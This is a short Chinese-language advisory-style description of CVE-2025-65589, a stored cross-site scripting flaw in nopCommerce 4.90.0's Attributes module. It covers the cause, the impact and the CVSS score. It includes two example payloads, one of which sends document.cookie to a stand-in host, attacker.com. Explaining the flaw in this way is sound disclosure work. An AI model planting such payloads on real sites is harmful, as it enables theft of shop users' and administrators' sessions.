CVE-2025-65589CVE-2025-65589是存在于nopCommerce 4.90.0版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞位于系统的Attributes(属性)功能模块中,攻击者可以通过在商品属性、分类属性或其他属性字段中注入恶意JavaScript脚本代码。当其他用户访问包含恶意代码的页面时,注入的脚本将在受害者浏览器中执行,从而窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或执行其他恶意操作。由于nopCommerce是广泛应用于电子商务网站的开源框架,该漏洞可能影响大量使用该版本的在线商店,危及商家和消费者的数据安全。攻击者无需特殊权限即可利用此漏洞,但需要一定的用户交互才能触发。
该XSS漏洞源于nopCommerce 4.90.0的Attributes功能对用户输入缺乏充分的输入验证和输出编码。在商品属性、规格属性或自定义属性的创建和编辑过程中,系统未能对特殊字符进行适当的HTML实体编码。攻击者可在属性名称、属性值或描述字段中插入恶意JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。当管理员或其他用户查看属性列表或相关商品页面时,浏览器会解析并执行这些恶意脚本。由于是存储型XSS,恶意代码会永久保存在数据库中,影响所有访问该内容的用户。CVSS 3.1评分6.1反映了该漏洞通过网络远程利用、无需特殊权限但需要用户交互的特点。